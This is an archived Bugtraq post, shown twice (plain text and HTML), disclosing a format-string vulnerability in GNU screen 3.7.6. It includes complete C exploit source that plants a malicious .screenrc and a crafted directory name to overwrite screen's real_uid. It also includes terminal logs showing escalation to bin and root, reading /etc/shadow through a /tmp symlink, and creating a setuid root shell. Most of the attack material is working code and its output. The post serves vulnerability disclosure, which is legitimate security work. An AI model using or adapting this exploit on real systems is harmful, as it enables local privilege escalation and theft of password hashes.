5441823 2000-09-07 04:37 /267 rader/ Brevbäraren (som är implementerad i) Python Mottagare: Bugtraq (import) <12619> Ärende: Screen-3.7.6 local compromise ------------------------------------------------------------ Hi ppl, as mentioned in other postings the screen package is vulnerbale to the classic format string attack. I attached a simple exploit and as far as I could investigate on Suse 6.1 with screen 3.7.6: the vulnerable function is Msg(int err, char *fmt, ...) which is invoked with the value of the vbell_msg from .screenrc. Unfortunatelly the format string is never copied onto stack, so I looked for the contents of the stack before calling Msg(0, VisualBellString). It seems that the 'buf' variable in main() contains the current working directory from which we called screen (get screen source, compile and replace Msg(0, VisualBellString) with a small stack dumping function...). So all we need is to mkdir a directory containing the write address, consume some arguments from the stack and let screen overwrite the real_uid variable and then create a new shell with our uid. so lets look at the stack inside Msg(...) after calling screen from a directory containing "ABCDEFGHIJ...": 4000bc74 1 8049e90 0 0 0 0 0 0 0 0 0 0 0 80995a8 0 0 bfffe4b8 ffffffff 0 bffff942 7ff 0 bffff942 0 0 0 0 0 0 0 ffffffff 0 0 0 0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 0 0 301 0 0 2fb2 41c0 2 1f4 64 0 0 0 400 1000 2 39b572f1 0 39b5a058 0 39b5a058 0 0 0 75610700 6870406c 696e656f 752f3a78 682f7273 2f656d6f 6c756170 706d742f 63732f32 70786572 4342412f 47464544 4b4a4948 4f4e4d4c 53525150 57565554 5c5a5958 5d5c5c5b 605f5e5c 64636261 660d6665 6a696867 6e6d6c6b 7271706f 4342412f is it (prefixed by parent dir), the padding seems to be 3 for my constelation... so we try it now with padding set to 3, buffer offset 324 and uidaddr 0x807beb4: gcc expl.c a.out 0 <screen comes up> <enter> <ctrl-g> <status line shows strange chars like 10737900681134520512134745792-1073748632-1-10737433792047-1073743379-1-1-1-1-> <ctrl-a> <ctrl-c> id uid=500(paul) gid=100(users) groups=100(users) hm...lets kill it. Try now: a.out 64 <same> id shell-init: could not get current directory: getcwd: cannot access parent direct ories: Permission denied bash: /home/paul/.bashrc: Permission denied I have no name!@phoenix:/usr/home/paul/tmp2/screxp > id uid=255 gid=100(users) groups=100(users) W00w, we hit the uid seems, 255 is the number of chars written by vsnprintf. It looks like: OFF 64 65 66 67 UID f4 01 00 00 %n ff 00 00 00 why not shift it by 1 to the left? a.out 63 <same> after <ctrl-c>: [screen caught signal 11.] paul@phoenix:/usr/home/paul/tmp2/screxp > bad :-(, but we can still grab /etc/shadow (any idea to avoid this damn sighandler?): a.out 63 <screen comes up> <enter> <ctrl-g> <staus line with strange output> but try now: paul@phoenix:~/tmp2/screen-3.7.6 > ln -s /etc/shadow /tmp/screen-xchg <ctrl-a ctrl-< > status says: Slurped 1142 characters into buffer, very nice.... paul@phoenix:~/tmp2/screen-3.7.6 > rm /tmp/screen-xchg paul@phoenix:~/tmp2/screen-3.7.6 > touch /tmp/screen-xchg and again ctrl a ctrl > Copybuffer written to "/tmp/screen-xchg". paul@phoenix:~/tmp2/screen-3.7.6 > ls -l /tmp total 10 -rw-r--r-- 1 paul users 1142 Sep 6 08:16 screen-xchg ... paul@phoenix:~/tmp2/screen-3.7.6 > cat /tmp/screen-xchg root:/7t3byBDQKUAc:11152:0:10000:::: bin:*:8902:0:10000:::: daemon:*:8902:0:10000:::: lp:*:9473:0:10000:::: news:*:8902:0:10000:::: uucp:*:0:0:10000:::: games:*:0:0:10000:::: Oh no it works..... Note that you can get uid bin (1) if you replace the 'strcat(buf, "%.0d");' with 'strcat(buf, "%.d");' because vsprintf writes then 256+ characters. With so modified version of expl.c: paul@phoenix:/usr/home/paul/tmp2/screxp > gcc expl.c paul@phoenix:/usr/home/paul/tmp2/screxp > a.out 63 <screen welcome> <enter> <ctrl-g> <ctrl-c> shell-init: could not get current directory: getcwd: cannot access parent direct ories: Permission denied bash: /home/paul/.bashrc: Permission denied bin@phoenix:/usr/home/paul/tmp2/screxp > id uid=1(bin) gid=100(users) groups=100(users) bin@phoenix:/usr/home/paul/tmp2/screxp > now create a suid bin shell....... I have also a working but unstable root exploit and I wonder why it works because it theoretically shouldn't work... paul@phoenix:/usr/home/paul/tmp2/screxp > gcc screxpl.c paul@phoenix:/usr/home/paul/tmp2/screxp > a.out 63 <screen ...> <ctrl-g> <ctrl-c> ó\[ó\[ó\[ # idome/paul/tmp2/screxp/pppó\[ó\[ó\[ó\[ó\[« uid=0(root) gid=100(users) groups=100(users) ó\[ó\[ó\[ # cp /bin/bash .2/screxp/pppó\[ó\[ó\[ó\[ó\[« ó\[ó\[ó\[ # chmod u+s bash2/screxp/pppó\[ó\[ó\[ó\[ó\[« ó\[ó\[ó\[ # ls -l/paul/tmp2/screxp/pppó\[ó\[ó\[ó\[ó\[« total 481 dr-xr--r-x 2 paul users 1024 Sep 6 08:33 . drwxr-xr-x 18 paul users 12288 Sep 6 08:32 .. -rwsr-xr-x 1 root users 475348 Sep 6 08:33 bash (sorry the term got confused :-) So now we have a suid root bash.... regards, IhaQueR -- Disclaimer: Any resemblance between the above views and those of my employer, my terminal, or the view out my window are purely coincidental. Any resemblance between the above and my own views is non-deterministic. The question of the existence of views in the absence of anyone to hold them is left as an exercise for the reader. The question of the existence of the reader is left as an exercise for the second god coefficient. (A discussion of non-orthogonal, non-integral polytheism is beyond the scope of this article.) ----------------------------------------- expl.c ----------------------------------------- /**************************************************************** * * * Screen 3.7.6 (and others) local exploit * * by IhaQueR@IRCnet * * * ****************************************************************/ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define TMPBUFSIZE 4096 #define SCREENRC "/usr/home/paul/.screenrc" #define SCREEN "/usr/bin/screen" #define AREP 1 #define BUFOFFSET 324 #define PADDING 3 #define WRITEADDR 0x807beb4 // some offsets grabbed from 3.7.6 // &real_uid, &real_gid, &eff_uid, &eff_gid own_uid // 0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4 // + 64 +64 int main(int argc, char** argv) { int i, l; FILE* fp; char buf[TMPBUFSIZE]; unsigned char adr[(AREP+2)*sizeof(unsigned)]; unsigned char* cp; unsigned a, *p; if(argc != 2) { printf("USAGE %s offset\n", argv[0]); return 0; } l = atoi(argv[1]); printf("creating magic string\n"); bzero(buf, TMPBUFSIZE); /* consume stack arguments */ for(i=0; i<BUFOFFSET/4; i++) strcat(buf, "%.0d"); /* finally write to adress */ // for(i=0;i<9; i++) strcat(buf, "%n"); if(fp = fopen(SCREENRC, "w")) { fprintf(fp, "vbell on\n"); fprintf(fp, "vbell_msg '%s'\n", buf); fprintf(fp, "vbellwait 11111\n"); fclose(fp); } else { printf("ERROR: opening %s\n", SCREENRC); } /* now create the magic dir... */ bzero(adr, (AREP+2)*sizeof(unsigned)); cp = adr; for(i=0; i<PADDING; i++) { *cp = 'p'; cp++; } p = (unsigned*) cp; a = WRITEADDR; a = a + l; for(i=0; i<AREP; i++) { *p = a; // a += 4; p++; } *p = 0; /* make dir and call screen */ mkdir((char*)adr, 0x777); chdir((char*)adr); argv[1] = NULL; execv(SCREEN, argv); } ------------------------------------------------------------------------------------- (5441823) ------------------------------------------(Ombruten) Kommentar i text 5441824 av Brevbäraren (som är implementerad i) Python Läsa nästa kommentar. 5441824 2000-09-07 04:37 /224 rader/ Brevbäraren (som är implementerad i) Python Mottagare: Bugtraq (import) <12620> Kommentar till text 5441823 av Brevbäraren (som är implementerad i) Python Ärende: Bilaga till: Screen-3.7.6 local compromise ------------------------------------------------------------ <!doctype html public "-//w3c//dtd html 4.0 transitional//en"> <html> Hi ppl, <p>as mentioned in other postings the screen package is vulnerbale to the classic format string attack. I attached a simple exploit and as far as I could investigate on Suse 6.1 with screen 3.7.6: <p>the vulnerable function is Msg(int err, char *fmt, ...) which is invoked with the value of the vbell_msg from .screenrc. Unfortunatelly the format string is never copied onto stack, so I looked for the contents of the stack before calling Msg(0, VisualBellString). It seems that the 'buf' variable in main() contains the current working directory from which we called screen (get screen source, compile and replace Msg(0, VisualBellString) with a small stack dumping function...). So all we need is to mkdir a directory containing the write address, consume some arguments from the stack and let screen overwrite the real_uid variable and then create a new shell with our uid. <p>so lets look at the stack inside Msg(...) after calling screen from a directory containing "ABCDEFGHIJ...": <p>4000bc74 1 8049e90 0 0 0 0 0 0 0 0 0 0 0 80995a8 0 0 bfffe4b8 ffffffff 0 bffff942 7ff 0 bffff942 0 0 0 0 0 0 0 ffffffff 0 0 0 0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 0 0 301 0 0 2fb2 41c0 2 1f4 64 0 0 0 400 1000 2 39b572f1 0 39b5a058 0 39b5a058 0 0 0 75610700 6870406c 696e656f 752f3a78 682f7273 2f656d6f 6c756170 706d742f 63732f32 70786572 <b>4342412f </b>47464544 4b4a4948 4f4e4d4c 53525150 57565554 5c5a5958 5d5c5c5b 605f5e5c 64636261 660d6665 6a696867 6e6d6c6b 7271706f <p>4342412f is it (prefixed by parent dir), the padding seems to be 3 for my constelation... <p>so we try it now with padding set to 3, buffer offset 324 and uidaddr 0x807beb4: <p>gcc expl.c <br>a.out 0 <br><screen comes up> <enter> <ctrl-g> <status line shows strange chars like 10737900681134520512134745792-1073748632-1-10737433792047-1073743379-1-1-1-1-> <ctrl-a> <ctrl-c> <br>id <br>uid=500(paul) gid=100(users) groups=100(users) <p>hm...lets kill it. Try now: <p>a.out 64 <br><same> <br>id <br>shell-init: could not get current directory: getcwd: cannot access parent direct <br>ories: Permission denied <br>bash: /home/paul/.bashrc: Permission denied <br>I have no name!@phoenix:/usr/home/paul/tmp2/screxp > id <br>uid=255 gid=100(users) groups=100(users) <p>W00w, we hit the uid seems, 255 is the number of chars written by vsnprintf. It looks like: <p><tt>OFF 64 65 66 67</tt> <br><tt>UID f4 01 00 00</tt> <br><tt>%n ff 00 00 00</tt> <p>why not shift it by 1 to the left? <p>a.out 63 <br><same> after <ctrl-c>: <br>[screen caught signal 11.] <br>paul@phoenix:/usr/home/paul/tmp2/screxp > <p>bad :-(, but we can still grab /etc/shadow (any idea to avoid this damn sighandler?): <p>a.out 63 <br><screen comes up> <enter> <ctrl-g> <staus line with strange output> but try now: <p>paul@phoenix:~/tmp2/screen-3.7.6 > ln -s /etc/shadow /tmp/screen-xchg <p><ctrl-a ctrl-< > status says: Slurped 1142 characters into buffer, very nice.... <p>paul@phoenix:~/tmp2/screen-3.7.6 > rm /tmp/screen-xchg <br>paul@phoenix:~/tmp2/screen-3.7.6 > touch /tmp/screen-xchg <p>and again ctrl a ctrl > Copybuffer written to "/tmp/screen-xchg". <p>paul@phoenix:~/tmp2/screen-3.7.6 > ls -l /tmp <br>total 10 <br>-rw-r--r-- 1 paul users 1142 Sep 6 08:16 screen-xchg <br>... <p>paul@phoenix:~/tmp2/screen-3.7.6 > cat /tmp/screen-xchg <br>root:/7t3byBDQKUAc:11152:0:10000:::: <br>bin:*:8902:0:10000:::: <br>daemon:*:8902:0:10000:::: <br>lp:*:9473:0:10000:::: <br>news:*:8902:0:10000:::: <br>uucp:*:0:0:10000:::: <br>games:*:0:0:10000:::: <p>Oh no it works..... <p>Note that you can get uid bin (1) if you replace the 'strcat(buf, "%.0d");' with 'strcat(buf, "%.d");' because vsprintf writes then 256+ characters. With so modified version of expl.c: <p>paul@phoenix:/usr/home/paul/tmp2/screxp > gcc expl.c <br>paul@phoenix:/usr/home/paul/tmp2/screxp > a.out 63 <br><screen welcome> <enter> <ctrl-g> <ctrl-c> <br>shell-init: could not get current directory: getcwd: cannot access parent direct <br>ories: Permission denied <br>bash: /home/paul/.bashrc: Permission denied <br>bin@phoenix:/usr/home/paul/tmp2/screxp > id <br>uid=1(bin) gid=100(users) groups=100(users) <br>bin@phoenix:/usr/home/paul/tmp2/screxp > <p>now create a suid bin shell....... <br> <p>I have also a working but unstable root exploit and I wonder why it works because it theoretically shouldn't work... <p>paul@phoenix:/usr/home/paul/tmp2/screxp > gcc screxpl.c <br>paul@phoenix:/usr/home/paul/tmp2/screxp > a.out 63 <p><screen ...> <ctrl-g> <ctrl-c> <br>ó\[ó\[ó\[ # idome/paul/tmp2/screxp/pppó\[ó\[ó\[ó\[ó\[« <br>uid=0(root) gid=100(users) groups=100(users) <br>ó\[ó\[ó\[ # cp /bin/bash .2/screxp/pppó\[ó\[ó\[ó\[ó\[« <br>ó\[ó\[ó\[ # chmod u+s bash2/screxp/pppó\[ó\[ó\[ó\[ó\[« <br>ó\[ó\[ó\[ # ls -l/paul/tmp2/screxp/pppó\[ó\[ó\[ó\[ó\[« <br>total 481 <br>dr-xr--r-x 2 paul users 1024 Sep 6 08:33 . <br>drwxr-xr-x 18 paul users 12288 Sep 6 08:32 .. <br>-rwsr-xr-x 1 root users 475348 Sep 6 08:33 bash <p>(sorry the term got confused :-) So now we have a suid root bash.... <br> <p>regards, IhaQueR <p>-- <br>Disclaimer: Any resemblance between the above views and those of my <br>employer, my terminal, or the view out my window are purely <br>coincidental. Any resemblance between the above and my own views is <br>non-deterministic. The question of the existence of views in the <br>absence of anyone to hold them is left as an exercise for the reader. <br>The question of the existence of the reader is left as an exercise for <br>the second god coefficient. (A discussion of non-orthogonal, <br>non-integral polytheism is beyond the scope of this article.) <br> <p>----------------------------------------- expl.c ----------------------------------------- <p>/**************************************************************** <br>* * <br>* Screen 3.7.6 (and others) local exploit * <br>* by IhaQueR@IRCnet * <br>* * <br>****************************************************************/ <br> <br> <p>#include <stdio.h> <br>#include <sys/stat.h> <br>#include <sys/types.h> <br>#include <fcntl.h> <br>#include <unistd.h> <br>#include <string.h> <br> <br> <p>#define TMPBUFSIZE 4096 <p>#define SCREENRC "/usr/home/paul/.screenrc" <br>#define SCREEN "/usr/bin/screen" <p>#define AREP 1 <br>#define BUFOFFSET 324 <br>#define PADDING 3 <br>#define WRITEADDR 0x807beb4 <br> <p>// some offsets grabbed from 3.7.6 <br>// &real_uid, &real_gid, &eff_uid, &eff_gid own_uid <br>// 0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4 <br>// + 64 +64 <br> <br> <p>int main(int argc, char** argv) <br>{ <br>int i, l; <br>FILE* fp; <br>char buf[TMPBUFSIZE]; <br>unsigned char adr[(AREP+2)*sizeof(unsigned)]; <br>unsigned char* cp; <br>unsigned a, *p; <br> <p> if(argc != 2) { <br> printf("USAGE %s offset\n", argv[0]); <br> return 0; <br> } <p> l = atoi(argv[1]); <br> printf("creating magic string\n"); <p> bzero(buf, TMPBUFSIZE); <p>/* consume stack arguments */ <br> for(i=0; i<BUFOFFSET/4; i++) <br> strcat(buf, "%.0d"); <p>/* finally write to adress */ <br>// for(i=0;i<9; i++) <br> strcat(buf, "%n"); <p> if(fp = fopen(SCREENRC, "w")) { <br> fprintf(fp, "vbell on\n"); <br> fprintf(fp, "vbell_msg '%s'\n", buf); <br> fprintf(fp, "vbellwait 11111\n"); <br> fclose(fp); <br> } <br> else { <br> printf("ERROR: opening %s\n", SCREENRC); <br> } <p>/* now create the magic dir... */ <br> bzero(adr, (AREP+2)*sizeof(unsigned)); <br> cp = adr; <br> for(i=0; i<PADDING; i++) { <br> *cp = 'p'; <br> cp++; <br> } <p> p = (unsigned*) cp; <p> a = WRITEADDR; <br> a = a + l; <br> <br> for(i=0; i<AREP; i++) { <br> *p = a; <br>// a += 4; <br> p++; <br> } <p> *p = 0; <p>/* make dir and call screen */ <br> mkdir((char*)adr, 0x777); <br> chdir((char*)adr); <br> argv[1] = NULL; <br> execv(SCREEN, argv); <br>} <p>-------------------------------------------------------------------------------------</html> (5441824) ------------------------------------------